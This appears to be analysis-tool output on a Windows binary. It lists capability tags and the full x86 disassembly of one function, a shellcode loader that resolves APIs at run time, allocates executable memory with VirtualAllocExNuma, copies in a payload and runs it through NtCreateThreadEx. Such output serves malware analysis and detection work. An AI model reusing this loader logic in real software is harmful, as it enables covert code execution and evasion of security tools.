Function at 0x401590
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x74
mov dword [esp], 0x423048
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.GetProcAddress
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp], 0x423048
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.WaitForSingleObject
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.VirtualAllocExNuma
mov edx, dword [ebp - 0x10]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov edx, dword [ebp - 0x14]
mov dword [esp], edx
call eax
sub esp, 0x18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40165e
mov eax, 0
jmp 0x40182d
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._memmove
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0xc]
mov dword [esp], 0x423048
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.VirtualFree
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x28], 0
jne 0x4016e0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
call eax
sub esp, 0xc
mov eax, 0
jmp 0x40182d
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.NtCreateThreadEx
mov edx, dword [ebp - 0x28]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x401727
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
call eax
sub esp, 0xc
mov eax, 0
jmp 0x40182d
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x24]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1f03ff
lea edx, [ebp - 0x3c]
mov dword [esp], edx
call eax
sub esp, 0x2c
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
js 0x40179a
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x4017bf
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
call eax
sub esp, 0xc
mov eax, 0
jmp 0x40182d
mov ebx, dword [ebp - 0xc]
mov dword [esp], 0x423048
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [esp + 4], str.CloseHandle
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], edx
call eax
sub esp, 8
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov edx, dword [ebp - 0x24]
mov dword [esp], edx
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov dword [esp], edx
call eax
sub esp, 4
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret